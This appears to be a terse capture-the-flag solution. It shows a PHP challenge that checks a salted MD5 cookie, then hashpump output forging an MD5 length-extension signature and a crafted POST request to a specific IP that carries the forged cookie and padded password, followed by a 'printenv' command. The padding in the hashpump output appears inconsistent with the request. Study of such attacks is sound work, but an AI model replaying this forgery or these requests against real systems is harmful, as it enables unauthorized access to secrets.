<?php
highlight_file(__FILE__);
include "./secret_key.php";
include "./salt.php";
//$salt = XXXXXXXXXXXXXX // the salt include 14 characters
//md5($salt."adminroot")=e6ccbf12de9d33ec27a5bcfb6a3293df
@$username = urldecode($_POST["username"]);
@$password = urldecode($_POST["password"]);
if (!empty($_COOKIE["digest"])) {
    if ($username === "admin" && $password != "root") {
         if ($_COOKIE["digest"] === md5($salt.$username.$password)) {
            die ("The secret_key is ". $secret_key);
        }
        else {
            die ("Your cookies don't match up! STOP HACKING THIS SITE.");
        }
    }
    else {
        die ("no no no");
    }
}

└─# hashpump                                   
Input Signature: e6ccbf12de9d33ec27a5bcfb6a3293df
Input Data: root
Input Key Length: 19
Input Data to Add: pcat
2172da389aa982830f221675fd46b1d2
root\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\00\x00\x00\x00\x00pcat

POST /JWT_key.php HTTP/1.1
Host: 140.210.223.216:55557
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: digest=2172da389aa982830f221675fd46b1d2
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

username=admin&password=root%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%b8%00%00%00%00%00%00%00pcat

printenv